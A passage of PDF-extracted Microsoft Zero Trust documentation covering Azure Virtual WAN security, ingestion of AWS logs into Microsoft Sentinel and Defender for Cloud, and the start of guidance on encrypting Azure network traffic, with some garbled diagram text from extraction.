DNS Proxy feature offered by the Azure Firewall that is integrated inside the Virtual
WAN hub.
Azure Private DNS Resolver: Deployment of an Azure Private DNS Resolver is
supported inside one of the spoke VNets connected to Virtual WAN hubs. Azure
Firewall that is integrated inside the Virtual WAN hub can use this resource as a
custom DNS when you enable the DNS Proxy feature.
Private Endpoints: This resource type is compatible with Virtual WAN but must be
deployed inside a spoke VNet. This provides connectivity to any other virtual
network or branch connected to the same Virtual WAN, if the integrated Azure
Firewall allows the flow. Instructions on how to secure traffic to Private Endpoints
using the Azure Firewall integrated inside a Virtual WAN hub can be found in
Secure traffic destined to private endpoints in Azure Virtual WAN.
Azure Private DNS Zone (links): This type of resource doesn't live inside a virtual
network but must be linked to them to function correctly. Private DNS Zones can't
be linked to Virtual WAN hubs. Instead, they should be connected to the spoke
VNet containing custom DNS servers or an Azure Private DNS Resolver
(recommended) or directly to the spoke VNets that require the DNS records from
that zone.
Step 5: Review your encryption

Azure Virtual WAN provides some traffic encryption capabilities through its own
gateways for traffic entering the Microsoft network. Whenever possible, encryption
should be enabled, based on the gateway type. Consider the following default
encryption behavior:
Virtual WAN S2S VPN gateway provides encryption when using IPsec/IKE (IKEv1
and IKEv2) VPN connection.
Virtual WAN P2S VPN gateway provides encryption when using user VPN
connection over OpenVPN or IPsec/IKE (IKEv2).
The Virtual WAN ExpressRoute gateway doesn't provide encryption, therefore the
same considerations from standalone ExpressRoute apply.
Only for ExpressRoute circuits that are provisioned on top of ExpressRoute

Direct, it's possible to leverage platform-provided MACsec encryption to secure
the connections between your edge routers and Microsoft's edge routers.
Encryption could be established using an IPsec/IKE VPN connection from your

on-premises network to Azure over the private peering of an Azure
ExpressRoute circuit. Routing Intent and Policies now supports this
configuration with additional configuration steps required, as explained in
Encrypted ExpressRoute.
For third party Software-Defined WAN (SD-WAN) devices and NVAs integrated
into Virtual WAN hub, specific encryption capabilities must be verified and
configured according to the vendor's documentation.
Once the traffic has entered the Azure network infrastructure through one of the
gateways or an SD-WAN/NVA, there's no specific Virtual WAN service or capability that
provides network encryption. If traffic between a hub and its virtual network and hub-
to-hub is unencrypted, you must use application-level encryption if needed.
７ Note
Virtual WAN spokes doesn't support VNet-to-VNet encryption using Azure VPN
Gateway because a spoke is required to use Virtual WAN hub remote gateway.
Step 6: Secure your P2S users

Azure Virtual WAN is a networking service that brings many networking, security, and
routing functionalities together to provide a single operational interface. From a user
identity perspective, the only touch point with Virtual WAN is in the authentication
method used to allow a user P2S VPN. Several authentication methods are available, but
we recommend following general Zero Trust principles Microsoft Entra authentication.
With Microsoft Entra ID, you can require Multi-Factor Authentication (MFA) and
Conditional Access apply Zero Trust principles to client devices and user identities.
７ Note
Microsoft Entra authentication is only available for gateways that use the OpenVPN
protocol, which is supported only for OpenVPN protocol connections and requires
the Azure VPN Client.
Azure Virtual WAN and Azure Firewall don't provide traffic routing and filtering based
on user account or group names, but it's possible to assign different groups of users
different pools of IP addresses. You can then define rules on the integrated Azure
Firewall to restrict users or groups based on their assigned P2S IP address pool.
If you divide your P2S users into different groups based on network access
requirements, we recommend that you differentiate them at the network level and
ensure that they can access only a subset of the internal network. You can create
multiple IP address pools for Azure Virtual WAN. For more information, see Configure
user groups and IP address pools for P2S User VPNs.
Step 7: Configure monitoring, auditing, and

management
Azure Virtual WAN provides extensive monitoring and diagnostic capabilities with Azure
Monitor. Additional details and topology can be obtained using a focused, prebuilt,
monitoring dashboard in the Azure portal named Azure Monitor Insights for Virtual
WAN. These monitoring tools aren't security specific. The Azure Firewall deployed inside
each Virtual WAN hub provides the integration point for Zero Trust and security
monitoring. You must configure Diagnostics and logging for Azure Firewall the same as
Azure Firewalls outside Virtual WAN.
Azure Firewall provides the following monitoring tools that you should use to ensure
security and correct application of Zero Trust principles:
Azure Firewall Policy Analytics provide insights, centralized visibility, and control to
Azure Firewall. Security does require that proper firewall rules are in place and
effective to protect the internal infrastructure. The Azure Portal summarizes details
about "Potential Malicious Sources" generated by firewall engine IDPS and Threat
Intelligence features.
Azure Firewall Workbook provides a flexible canvas for Azure Firewall data analysis.
You can gain insights into Azure Firewall events, learn about your application, and
network rules, and see statistics for firewall activities across URLs, ports, and
addresses. We highly recommend that you periodically review check IDPS Log
Statistics and from the Investigations tab, check denied traffic, source and
destination flows, and the Threat Intelligence report to review and optimize firewall
rules.
Azure Firewall also integrates with Microsoft Defender for Cloud and Microsoft
Sentinel . We highly recommend that you correctly configure both tools and actively
use them for Zero Trust in the following ways:
With Microsoft Defender for Cloud integration , you can visualize the all-up
status of network infrastructure and network security in one place, including Azure
Network Security across all VNets and Virtual Hubs spread across different regions
in Azure. With a single glance, you can see the number of Azure Firewalls, firewall
policies, and Azure regions where Azure Firewalls are deployed.
A Microsoft Sentinel solution for seamless Azure Firewall integration provides
threat detection and prevention. Once deployed, the solution allows built-in
customizable threat detection on top of Microsoft Sentinel. The solution also
includes a workbook, detections, hunting queries and playbooks .
Training for administrators

The following training modules help your team with the skills necessary to apply Zero
Trust principles to your Azure Virtual WAN deployment.
Introduction to Azure Virtual WAN
ﾉ Expand table
Training Introduction to Azure Virtual WAN
Describe how to construct a wide area network (WAN) using software-defined

Azure Virtual WAN networking services.
Start >
Introduction to Azure Firewall
ﾉ Expand table
Training Introduction to Azure Firewall
Describe how Azure Firewall protects Azure VNet resources, including the Azure
Firewall features, rules, deployment options, and administration with Azure Firewall
Manager.
Start >
Introduction to Azure Firewall Manager
ﾉ Expand table
Training Introduction to Azure Firewall Manager
Describe whether you can use Azure Firewall Manager to provide central security
policy and route management for your cloud-based security perimeters. Evaluate
whether Azure Firewall Manager can help secure your cloud perimeters.
Start >
ﾉ Expand table
Training Design and implement network security
You will learn to design and implement network security solutions such as Azure
DDoS, Network Security Groups, Azure Firewall, and Web Application Firewall.
Start >
Security in Azure
Next Steps
Azure IaaS overview

Azure storage
Virtual machines
References
this article.
Azure Virtual WAN

Azure Virtual WAN overview
How to configure Virtual WAN hub routing policies
Install Azure Firewall in a Virtual WAN hub
What is a secured virtual hub?
How to configure Virtual WAN hub routing policies
Tutorial: Secure your virtual hub using Azure Firewall Manager
Tutorial: Secure your virtual hub using Azure PowerShell
Share a private link service across Virtual WAN
Manage secure access to resources in spoke VNets for P2S clients
Security baselines
Azure Firewall
Azure Firewall Manager
Well-Architected Framework review

Azure Firewall
Azure security
You can download the illustrations used in this article. Use the Visio file to modify these
illustrations for your own use.
PDF | Visio
Feedback
Apply Zero Trust principles to IaaS
applications in Amazon Web Services
Article • 05/10/2024
This article provides steps to apply the principles of Zero Trust to IaaS applications in
Amazon Web Services (AWS):
ﾉ Expand table

Principle
Verify Always authenticate and Security in DevOps (DevSecOps), using GitHub

explicitly authorize based on all available advanced security and DevOps, scans and
data points. secures your infrastructure as code.
Use least- Limit user access with Just-In- Microsoft Entra Permissions
privilege Time and Just-Enough-Access Management detects, right-sizes, and
access (JIT/JEA), risk-based adaptive monitors unused and excessive
policies, and data protection. permissions.
Privileged Identity Management (PIM), a
service in Microsoft Entra ID P2, allows
you to manage, control, and monitor
access to important resources in your
organization.
Assign users role-based access control
(RBAC) to resources at the repository
level, team level, or organization level.
Assume Minimize blast radius and Microsoft Defender for Cloud and
breach segment access. Verify end-to- Microsoft Defender for Endpoint
end encryption and use analytics (Microsoft 365) continuously scan the
to get visibility, drive threat environment for threats and
detection, and improve defenses. vulnerabilities.
Microsoft Sentinel analyzes collected
data, behavioral trend of entities,
anomalies, and multi-stage threats
across enterprises to detect suspicious
activity, and can respond with
automation.
IaaS environment, see the Apply Zero Trust principles to Azure IaaS overview.
AWS and AWS components
AWS is one of the public cloud providers available in the market, along with Microsoft
Azure, Google Cloud Platform, and others. It's common for companies to have a
multicloud architecture that consists of more than one cloud provider. In this article, we
focus on a multicloud architecture where:
Azure and AWS are integrated to run workloads and IT business solutions.
You secure an AWS IaaS workload using Microsoft products.
AWS virtual machines, called Amazon Elastic Compute Cloud (Amazon EC2), run on top
of an AWS virtual network, called Amazon Virtual Private Cloud (Amazon VPC). Users
and cloud administrators set up an Amazon VPC in their AWS environment and add
Amazon EC2 virtual machines.
AWS CloudTrail logs AWS account activity in the AWS environment. Amazon EC2,
Amazon VPC, and AWS CloudTrail are common in AWS environments. Collecting logs
from these services is essential to understanding what is going on in your AWS
environment and the actions to take to avoid or mitigate attacks.
Amazon GuardDuty is a threat detection service that helps to protect AWS workloads by
monitoring the AWS environment for malicious activities and unauthorized behavior.
In this article, you learn how to integrate monitoring and logging of these AWS
resources and services with Azure's monitoring solutions and the Microsoft security
stack.
Reference Architecture
The following architecture diagram shows the common services and resources needed
to run an IaaS workload in an AWS environment. The diagram also shows the Azure
services needed to ingest logs and data from the AWS environment into Azure and to
provide threat monitoring and protection.
Source Control Microso Entra
GitHub Advanced GitHub Open Source

Security Security
Iden ty and Access Solu ons
GitHub
AWS Cloud
Iden ty
Azure Cloud
Iden ty
AWS Iden ty and Access Management

(IAM)
Entra ID
Amazon Virtual Private Cloud (VPC)

Logging and monitoring
Amazon Elas c Compute Cloud Azure Monitor

(Amazon EC2)
Azure Arc Azure AMA
Log Analy cs
Workspaces
Logging & Monitoring Storage
MIcrosoft 365 subscription
Security and SIEM
AWS CloudTrail Amazon Simple Storage Service

(Amazon S3)
Microso Sen nel Microso Defender

for Endpoint
Security Messaging
Microso Defender
Amazon GuardDuty
Amazon Simple Queuing Service
for Cloud

(Amazon SQS)
The diagram demonstrates ingestion of logs into Azure for the following resources and
services in the AWS environment:
Amazon Elastic Compute Cloud (Amazon EC2)

Amazon Virtual Private Cloud (Amazon VPC)
Amazon Web Services CloudTrail (AWS CloudTrail)
Amazon GuardDuty
To ingest logs into Azure for the resources and services in the AWS environment, you
must have Amazon Simple Storage Service (Amazon S3) and Amazon Simple Queue
Service (SQS) defined.
Logs and data are ingested into Log Analytics in Azure Monitor.
The following Microsoft products use the ingested data to monitor:

Microsoft Sentinel
７ Note
You don't have to ingest logs into all of the Microsoft products listed to monitor
your AWS resources and services. Using all of the Microsoft products together,
though, provides greater benefit from AWS log and data ingestion into Azure.
This article follows the architecture diagram and describes how to:
Install and configure the Microsoft products to ingest logs from your AWS
resources.
Configure metrics for the security data that you want to monitor.
Improve your overall security posture and secure the AWS workload.
Secure Infrastructure as code.
Step 1: Install and connect Microsoft products

to ingest logs and data
This section walks you through how to install and connect the Microsoft products in the
referenced architecture to ingest logs from your AWS and Amazon services and
resources. To adhere to the Zero Trust verify explicitly principle, you need to install
Microsoft products and connect to your AWS environment to take proactive actions
before an attack.
ﾉ Expand table
Steps Task
A Install Azure Connected Machine agent on to your Amazon Elastic Compute Cloud
(Amazon EC2) virtual machines to ingest operating system data and logs into Azure.
B Install Azure Monitor Agent on to Amazon EC2 virtual machines to send logs to your Log
Analytics workspace.
C Connect an AWS account to Microsoft Defender for Cloud.
D Connect Microsoft Sentinel to AWS to ingest AWS log data.
E Use the AWS connectors to pull AWS service logs into Microsoft Sentinel.
A. Install Azure Connected Machine agent on to your

Amazon EC2 virtual machines to ingest operating system
data and logs into Azure
Azure Arc-enabled servers let you manage Windows and Linux physical servers and
virtual machines hosted outside of Azure, on your corporate network, or other cloud
provider. For the purposes of Azure Arc, machines hosted outside of Azure are
considered hybrid machines. To connect your Amazon EC2 virtual machines (also known
as hybrid machines) to Azure, you install the Azure Connected Machine agent on each
machine.
For more information, see Connect hybrid machines to Azure.
B. Install Azure Monitor Agent on to Amazon EC2 virtual

machines to send logs to your Log Analytics workspace
Azure Monitor provides complete monitoring for your resources and applications
running in Azure and other clouds, including AWS. Azure Monitor collects, analyzes, and
acts on telemetry from your cloud and on-premises environments. VM insights in Azure
Monitor uses Azure Arc-enabled servers to provide a consistent experience between
both Azure virtual machines and your Amazon EC2 virtual machines. You can view your
Amazon EC2 virtual machines right alongside your Azure virtual machines. You can
onboard your Amazon EC2 virtual machines using identical methods. This includes using
standard Azure constructs such as Azure Policy and applying tags.
When you enable VM insights for a machine, the Azure Monitor Agent (AMA) is
installed. AMA collects monitoring data from the Amazon EC2 virtual machines and
delivers it to Azure Monitor for use by features, insights, and other services, such as
Microsoft Sentinel and Microsoft Defender for Cloud.
） Important
Log Analytics is a tool in the Azure portal that you use to edit and run log queries
against data in the Azure Monitor Logs store. Log Analytics is automatically
installed.
Amazon EC2 virtual machines may have the legacy Log Analytics agent installed. This
agent will be deprecated in September 2024. Microsoft recommends installing the new
Azure Monitor Agent.
The Log Analytics agent or Azure Monitor Agent for Windows and Linux is required to:
Proactively monitor the operating system and workloads running on the machine.
Manage the machine using Automation runbooks or solutions like Update
Management.
Use other Azure services like Microsoft Defender for Cloud.
When you collect logs and data, the information is stored in a Log Analytics workspace.
You need a Log Analytics workspace if you collect data from Azure resources in your
subscription.
Azure Monitor workbooks are a visualization tool available in the Azure portal.
Workbooks combine text, log queries, metrics, and parameters into rich interactive
reports. Setting up workbooks helps you use analytics to adhere to the Zero Trust
assume breach principle.
Workbooks are discussed in the next article under Monitor in Microsoft Sentinel logs
from Amazon Virtual Private Cloud (Amazon VPC), AWS CloudTrail, and Amazon
GuardDuty.
Install AMA through data collection rules in Azure Monitor

Create a Log Analytics workspace
Get started with Azure workbooks
C. Connect an AWS account to Microsoft Defender for

Cloud
Microsoft Defender for Cloud is a Cloud Security Posture Management (CSPM) and
Cloud Workload Protection Platform (CWPP) for all your Azure, on-premises, and
multicloud resources, including AWS. Defender for Cloud fills three vital needs as you
manage the security of your resources and workloads in the cloud and on-premises:
Continuously assess - Know your security posture. Identify and track vulnerabilities.
Secure - Harden resources and services with the Microsoft cloud security
benchmark (MCSB) and AWS Foundational Security Best Practices standard .
Defend - Detect and resolve threats to resources and services.
Microsoft Defender for Servers is one of the paid plans provided by Microsoft Defender
for Cloud. Defender for Servers extends protection to your Windows and Linux machines
that run in Azure, AWS, Google Cloud Platform, and on-premises. Defender for Servers
integrates with Microsoft Defender for Endpoint to provide endpoint detection and
response (EDR) and other threat protection features.
Connect an AWS account to Microsoft Defender for Cloud to protect your AWS
resources.
Select a Defender for Servers plan in Microsoft Defender for Cloud to compare
different plans offered by Defender for Servers. Defender for Servers automatically
provisions the Defender for Endpoint sensor on every supported machine that's
connected to Defender for Cloud.
７ Note
If you haven't deployed AMA on your servers yet, you can deploy the Azure
Monitor Agent on your servers when you enable Defender for Servers.
D. Connect Microsoft Sentinel to AWS to ingest AWS log

data
Microsoft Sentinel is a scalable, cloud-native solution that provides the following
services:
Security information and event management (SIEM)

Security orchestration, automation, and response (SOAR)
Microsoft Sentinel delivers security analytics and threat intelligence across the
enterprise. With Microsoft Sentinel, you get a single solution for attack detection, threat
visibility, proactive hunting, and threat response.
For setup instructions, see Onboard Microsoft Sentinel.
E. Use the AWS connectors to pull AWS service logs into

Microsoft Sentinel
To pull the AWS service logs into Microsoft Sentinel, you need to use a Microsoft
Sentinel AWS connector. The connector works by granting Microsoft Sentinel access to
your AWS resource logs. Setting up the connector establishes a trust relationship
between AWS and Microsoft Sentinel. On AWS a role is created that gives permission to
Microsoft Sentinel to access your AWS logs.
The AWS connector is available in two versions: the new Amazon Simple Storage Service
(Amazon S3) connector that ingests logs by pulling them from an Amazon S3 bucket
and the legacy connector for CloudTrail management and data logs. The Amazon S3
connector can ingest logs from Amazon Virtual Private Cloud (Amazon VPC), AWS
CloudTrail, and Amazon GuardDuty. The Amazon S3 connector is in preview. We
recommend using the Amazon S3 connector.
To ingest logs from Amazon VPC, AWS CloudTrail, and Amazon GuardDuty using the
Amazon S3 connector, see Connect Microsoft Sentinel to AWS.
７ Note
Microsoft recommends using the automatic setup script to deploy the Amazon S3
connector. If you prefer to perform each step manually, then follow the manual
setup to connect Microsoft Sentinel to AWS.
Step 2: Configure metrics for your security data

Now that Azure is ingesting logs from your AWS resources, you can create threat
detection rules in your environment and monitor alerts. This article walks you through
the steps to collect logs and data and monitor for suspicious activity. The Zero Trust
assume breach principle is achieved by monitoring your environment for threats and
vulnerabilities.
ﾉ Expand table
Steps Task
A Collect Amazon Elastic Compute Cloud (Amazon EC2) logs in Azure Monitor.
B View and manage Microsoft Defender for Cloud security alerts and recommendations for
Amazon EC2.
C Integrate Microsoft Defender for Endpoint with Defender for Cloud.
D Monitor Amazon EC2 data in Microsoft Sentinel.
E Monitor in Microsoft Sentinel logs from Amazon Virtual Private Cloud (Amazon VPC),
AWS CloudTrail, and Amazon GuardDuty.
F Use Microsoft Sentinel built in detection rules to create and investigate threat detection
rules in your environment.
A. Collect Amazon Elastic Compute Cloud (Amazon EC2)

logs in Azure Monitor
The Azure Connected Machine agent installed on your Amazon EC2 VMs enables you to
monitor your AWS resources as if they're Azure resources. For example, you can use
Azure policies to govern and manage updates to your Amazon EC2 VMs.
The Azure Monitor Agent (AMA) installed on your Amazon EC2 VMs collects monitoring
data and delivers it to Azure Monitor. These logs become input for Microsoft Sentinel
and Defender for Cloud.
To collect logs from your Amazon EC2 VMs, see create data collection rules.
B. View and manage Microsoft Defender for Cloud

security alerts and recommendations for Amazon EC2
Microsoft Defender for Cloud uses resource logs to generate security alerts and
recommendations. Defender for Cloud can provide alerts to warn you about possible
threats on your Amazon EC2 VMs. Alerts are prioritized by severity. Each alert provides
details of affected resources, issues, and remediation recommendations.
There are two ways to view recommendations in the Azure portal. In the Defender for
Cloud overview page, you view recommendations for the environment you want to
improve. On the Defender for Cloud asset inventory page, recommendations are shown
according to the affected resource.
To view and manage Amazon EC2 alerts and recommendations:
Learn about the different types of alerts available in Defender for Cloud and how
to respond to alerts.
Improve your security posture by implementing recommendations from Defender
for Cloud.
Learn how to access the asset inventory page of Defender for Cloud.
７ Note
Microsoft cloud security Benchmark (MCSB) includes a collection of high-impact

security recommendations you can use to help secure your cloud services in a
single or multicloud environment. Microsoft recommends using security
benchmarks to help you quickly secure cloud deployments. Learn more about the
MCSB.
C. Integrate Microsoft Defender for Endpoint with

Defender for Cloud
Protect your endpoints with Defender for Cloud's integrated endpoint detection and
response solution, Microsoft Defender for Endpoint. Microsoft Defender for Endpoint
protects your Windows and Linux machines whether they're hosted in Azure, on-
premises, or a multicloud environment. Microsoft Defender for Endpoint is a holistic,
cloud-delivered, endpoint security solution. The main features include:
Risk-based vulnerability management and assessment

Behavioral based and cloud-powered protection
Endpoint detection and response (EDR)
Automatic investigation and remediation
Managed hunting services
For more information, see Enable the Microsoft Defender for Endpoint integration.
D. Monitor Amazon EC2 data in Microsoft Sentinel

Once you install Azure Connected Machine agent and AMA, Amazon EC2 operating
systems start sending logs into Azure Log Analytics tables that are automatically
available to Microsoft Sentinel.
The following image demonstrates how Amazon EC2 operating system logs are ingested
by Microsoft Sentinel. The Azure Connected Machine agent makes your Amazon EC2
VMs part of Azure. The Windows Security Events via AMA data connector collects data
from your Amazon EC2 VMs.

７ Note
You don't need Microsoft Sentinel to ingest logs from Amazon EC2 but you do
need a Log Analytics workspace previously set-up.
For step-by-step guidance, see Amazon EC2 Sentinel Ingestion using Arc and AMA ,
which is a document in GitHub. The GitHub document addresses installing AMA, which
you can skip because you installed AMA earlier in this solution guide.
E. Monitor in Microsoft Sentinel logs from Amazon

Virtual Private Cloud (Amazon VPC), AWS CloudTrail, and
Amazon GuardDuty
Earlier you connected Microsoft Sentinel to AWS using the Amazon Simple Storage
Service (Amazon S3) connector. The Amazon S3 bucket sends logs to your Log Analytics
workspace, the underlying tool used to query them. The following tables are created in
the workspace:
AWSCloudTrail - AWS CloudTrail logs hold all your data and management events
of your AWS account.
AWSGuardDuty - Amazon GuardDuty Findings represent a potential security issue
detected within your network. Amazon GuardDuty generates a finding whenever it
detects unexpected and potentially malicious activity in your AWS environment.
AWSVPCFlow - Amazon Virtual Private Cloud (Amazon VPC) Flow Logs enable you
to capture IP traffic going to and from your Amazon VPC network interfaces.
You can query Amazon VPC Flow Logs, AWS CloudTrail and Amazon GuardDuty in
Microsoft Sentinel. The following are query examples for each service and
corresponding table in Log Analytics:
For Amazon GuardDuty logs:
AWSGuardDuty | where Severity > 7 | summarize count() by ActivityType
For Amazon VPC Flow logs:
AWSVPCFlow | where Action == "REJECT" | where Type == "Ipv4" | take 10
For AWS CloudTrail logs:
AWSCloudTrail | where EventName == "CreateUser" | summarize count() by AWSRegion
In Microsoft Sentinel, you utilize the Amazon S3 workbook to analyze more details.
For AWS CloudTrail you can analyze:
Data flow over time

Account IDs
Event Source list
For Amazon GuardDuty, you can analyze:
Amazon GuardDuty by map

Amazon GuardDuty by region
Amazon GuardDuty by IP
F. Use Microsoft Sentinel built in detection rules to create

and investigate threat detection rules in your
environment
Now that you've connected your data sources to Microsoft Sentinel, use Microsoft
Sentinels built-in detection rule templates to help you create and investigate threat
detection rules in your environment. Microsoft Sentinel provides out-of-the-box, built-in
templates to help you create threat detection rules.
Microsoft's team of security experts and analysts design rule templates based on known
threats, common attack vectors, and suspicious activity escalation chains. Rules created
from these templates automatically search across your environment for any activity that
looks suspicious. Many of the templates can be customized to search for activities, or
filter them out, according to your needs. The alerts generated by these rules create
incidents that you can assign and investigate in your environment.
For more information, see detecting threats with built-in analytics rules in Microsoft
Sentinel.
Step 3: Improve your overall security posture

In this section, you learn how Microsoft Entra Permissions Management helps you
monitor unused and excessive permissions. You step through how to configure,
onboard, and view key data. The Zero Trust use least-privilege access principle is
achieved by managing, controlling, and monitoring access to your resources.
ﾉ Expand table
Steps Task
A Configure Permissions Management and Privileged Identity Management.
B Onboard an AWS account.
C View key statistics and data.
Configure Permissions Management

Permissions Management is a cloud infrastructure entitlement management (CIEM)
solution that detects, automatically right-sizes, and continuously monitors unused and
excessive permissions across your multicloud infrastructure.
Permissions Management deepens Zero Trust security strategies by augmenting the use
least-privilege access principle, allowing customers to:
Get comprehensive visibility: Discover which identity is doing what, where, and
when.
Automate least-privilege access: Use access analytics to ensure identities have the
right permissions, at the right time.
Unify access policies across IaaS platforms: Implement consistent security policies
across your cloud infrastructure.
Permissions Management provides a summary of key statistics and data for AWS and
Azure. The data includes metrics related to avoidable risk. These metrics allow the
Permissions Management administrator to identify areas where risks related to the Zero
Trust use least-privilege access principle can be reduced.
Data can be fed into Microsoft Sentinel for further analysis and automation.
To implement tasks, see:
A. Enable Permissions Management in your organization

B. Onboard an AWS account on Permissions Management
C. View key statistics and data
Step 4: Secure infrastructure as code

This section covers a key pillar of DevSecOps, scanning and securing your infrastructure
as code. For infrastructure as code, security and DevOps teams should monitor for
misconfigurations that can lead to vulnerabilities in your infrastructure deployments.
By implementing continuous checks on Azure Resource Manager (ARM), Bicep, or

Terraform templates, you prevent breaches and exploits early in development, when
they're less costly to fix. You also want to maintain tight control of administrators and
service account groups across Microsoft Entra ID and your DevOps tool.
You implement the Zero Trust use least-privilege access principle by:
Conducting robust reviews of your infrastructure configurations with least-privilege

identity access and networking set up.
Assigning users role-based access control (RBAC) to resources at the repository
level, team level, or organization level.
Prerequisites:
Code repositories are in Azure DevOps or GitHub

Pipelines are hosted in Azure DevOps or GitHub
ﾉ Expand table
Steps Task
A Enable DevSecOps for infrastructure as code (IaC).

Steps Task
B Implement RBAC for DevOps tools.
C Enable GitHub Advanced Security.
D View code and secret scanning results.
A. Enable DevSecOps for IaC

Defender for DevOps provides visibility into the security posture of your multi-pipeline
environment, regardless of whether your code and pipelines are in Azure DevOps or
GitHub. It has the extra benefit of implementing a single pane of glass where security
and DevOps teams can see scan results of all their repositories in one dashboard, and
set up a pull request process to remediate any issues.
DevSecOps for IaC

DevSecOps with GitHub security
B. Implement RBAC for DevOps tools

You need to manage and implement sound governance practices for your team, such as
role-based access control permissions. If this model isn't mirrored for DevOps
automation, your organization might leave a security back-door open. Consider an
example where a developer doesn't have access via ARM templates. The developer may
still have sufficient permissions to change application code or infrastructure as code and
trigger an automation workflow. The developer, indirectly via DevOps, can access and
make destructive changes to your ARM templates.
When you deploy cloud-based solutions for your infrastructure deployments, security
should always be your most important concern. Microsoft keeps the underlying cloud
infrastructure secure. You configure security in Azure DevOps or GitHub.
To configure security:
In Azure DevOps, you can use security groups, policies, and settings at the
organization/collection, project, or object level.
In GitHub, you can assign users access to resources by granting them roles at the
repository level, team level, or organization level.
C. Enable GitHub Advanced Security

To proactively secure environments, it's important to continuously monitor and
strengthen DevOps security. GitHub Advanced Security automates checks in your
pipeline to look for exposed secrets, dependency vulnerabilities, and more. GitHub
makes extra security features available to customers under an Advanced Security license.
By default, GitHub Advanced Security is enabled for public repositories. For your private
repositories, you need to use the GitHub Advanced Security licensing. Once enabled,
you can start using the many features that come with the GitHub Advanced Security
suite:
Code scanning
Dependency scanning
Secret scanning
Access control
Vulnerability alerts
Audit log
Branch protection rules
Pull request reviews
With these features, you can ensure that your code is secure and compliant with
industry standards. You can also create automated workflows to help you quickly detect
and address any security issues in your code. Additionally, you can use branch
protection rules to prevent unauthorized changes to your codebase.
For more information, see Enable GitHub Advanced Security .
D. View code and secret scanning results

Defender for DevOps, a service available in Defender for Cloud, enables security teams
to manage DevOps security across multi-pipeline environments. Defender for DevOps
uses a central console to empower security teams with the ability to protect applications
and resources from code to cloud across multi-pipeline environments, such as GitHub
and Azure DevOps.
Defender for DevOps exposes security findings as annotations in Pull Requests (PR).
Security operators can enable PR annotations in Microsoft Defender for Cloud. Exposed
issues can be remedied by developers. This process can prevent and fix potential
security vulnerabilities and misconfigurations before they enter the production stage.
You can configure PR annotations in Azure DevOps. You can get PR annotations in
GitHub if you're a GitHub Advanced Security customer.

Configure the Microsoft Security DevOps GitHub action
Configure the Microsoft Security DevOps Azure DevOps extension
Enable pull request annotations in GitHub and Azure DevOps
Next steps
Learn more about the Azure services discussed in this article:

Microsoft Sentinel
Azure Monitor
Azure ARC-enabled servers
Log Analytics
Learn more about AWS and Amazon services and resources discussed in this article:
Amazon Elastic Compute Cloud (Amazon EC2)

AWS CloudTrail
Amazon Virtual Private Cloud (Amazon VPC)
Amazon GuardDuty
Amazon Simple Storage Service (Amazon S3)
Amazon Simple Queue Service (SQS)
AWS Identity and Access Management (IAM)
Feedback
Apply Zero Trust principles to
encrypting Azure-based network
communication
Article • 04/12/2024
This article provides guidance to applying the principles of Zero Trust for encrypting
network communication to, from, and across Azure environments in the following ways.
ﾉ Expand table

principle
Verify Always authenticate and Using Conditional Access policies for your
explicitly authorize based on all available Azure VPN Gateway connections and Secure
data points. Shell (SSH) and Remote Desktop Protocol
(RDP) for your user-to-virtual machine
connections.
Use least Limit user access with Just-In- Configuring your Microsoft Enterprise Edge
privileged Time and Just-Enough-Access (MSEE) devices to use static connectivity
access (JIT/JEA), risk-based adaptive association key (CAK) for Azure ExpressRoute
policies, and data protection. with direct ports and using managed identity
to authenticate ExpressRoute circuit resources.
Assume Minimize blast radius and Protecting network traffic with encryption
breach segment access. Verify end-to- methods and protocols that provide
end encryption and use analytics confidentiality, integrity, and authenticity of
to get visibility, drive threat your data in transit.
Using Azure Monitor to provide ExpressRoute
network performance metrics and alerts.
Using Azure Bastion to manage individual

sessions from the Bastion service and delete
or force a disconnect.
The levels of encryption for network traffic are:
Network layer encryption
Secure and verify communication from the internet or your on-premises

network to Azure VNets and virtual machines
Secure and verify communication within and across Azure VNets

Application layer encryption
Protection for Azure Web Applications
Protection for workloads running on Azure virtual machines
The following diagram shows the reference architecture for this Zero Trust guidance for
encrypted communication between users and admins on-premises or on the internet
and components in the Azure environment for the steps described in this article.
Internet
Azure
Security VNET
1
User Bastion Subnet
P2S VPN
3 Subnet
Subnet
Admin Bastion SSH or RDP VNet
To requested encryption
VM VM
Azure Firewall DNAT
VM
VM VM (native or
Premium SSH or RDP peering)
Azure Firewall
Subnet Azure Web Apps
BE Pool
Workload VNET Application VNET
4 VPN GW ExRGW
AppGW VPN GW ExRGW Regional
Subnet Subnet AppGw (WAF) 3 DataLink Region A
On-premises APP GW MACsec
subnet
5 Region B
User Bastion
1
Admin
P2S VPN S2S Over ExR
2 Partner Circuits VM VM
1
Subnet
S2S VPN vWAN Secure
Manged Hub Standalone VNET
VPN GW ExR GW
Datacenter
ExpressRoute ExpressRoute
Partner Circuits Direct Port
Circuits
1 2
S2S VPN ExpressRoute S2S
Direct Over ExR Direct Port Circuits
4 Azure Front Door

FD Origin

Front Door Storage Accounts
In the diagram, the numbers correspond to the steps in the following sections.

Zero Trust principles are applied across the reference architecture, from users and
admins on the internet or your on-premises network to and within the Azure cloud. The
following table describes the recommendations for ensuring the encryption of network
traffic across this architecture.
ﾉ Expand table
applied
1 Implement network layer encryption. Verify explicitly

Assume breach
2 Secure and verify communication from an on-premises Verify explicitly

network to Azure VNets. Assume breach
3 Secure and verify communication within and across Azure Assume breach
VNets.
4 Implement application layer encryption. Verify explicitly

Assume breach
5 Use Azure Bastion to protect Azure virtual machines. Assume breach
Step 1: Implement network layer encryption

Network layer encryption is critical when applying Zero Trust principles to your on-
premises and Azure environment. When network traffic goes over the internet, you
should always assume there's a possibility of traffic interception by attackers, and your
data might get exposed or altered before it reaches its destination. Because service
providers control how data gets routed through the internet, you want to ensure that
the privacy and integrity of your data is maintained from the moment it leaves your on-
premises network all the way to Microsoft’s cloud.
The following diagram shows the reference architecture for implementing network layer
encryption.
Internet
Azure
Security VNET
1
User Bastion Subnet
P2S VPN
Subnet
Subnet
Admin Bastion SSH or RDP
To requested
VM VM VM
Azure Firewall DNAT VM VM
Premium SSH or RDP
Azure Firewall
BE Pool
VPN GW ExRGW
VPN GW ExRGW
AppGw (WAF)
Subnet Subnet Region A
On-premises APP GW
subnet
Region B
User
1
Admin
P2S VPN VM VM
1
Subnet
S2S VPN vWAN Secure
VPN GW ExR GW
Datacenter
Circuits
1
S2S VPN S2S
Over ExR Direct Port Circuits
Azure Front Door

FD Origin

Storage Accounts
In the next two sections, we discuss Internet Protocol Security (IPsec) and Media Access
Control Security (MACsec ), which Azure networking services support these protocols,
and how you can ensure they're being used.
IPsec
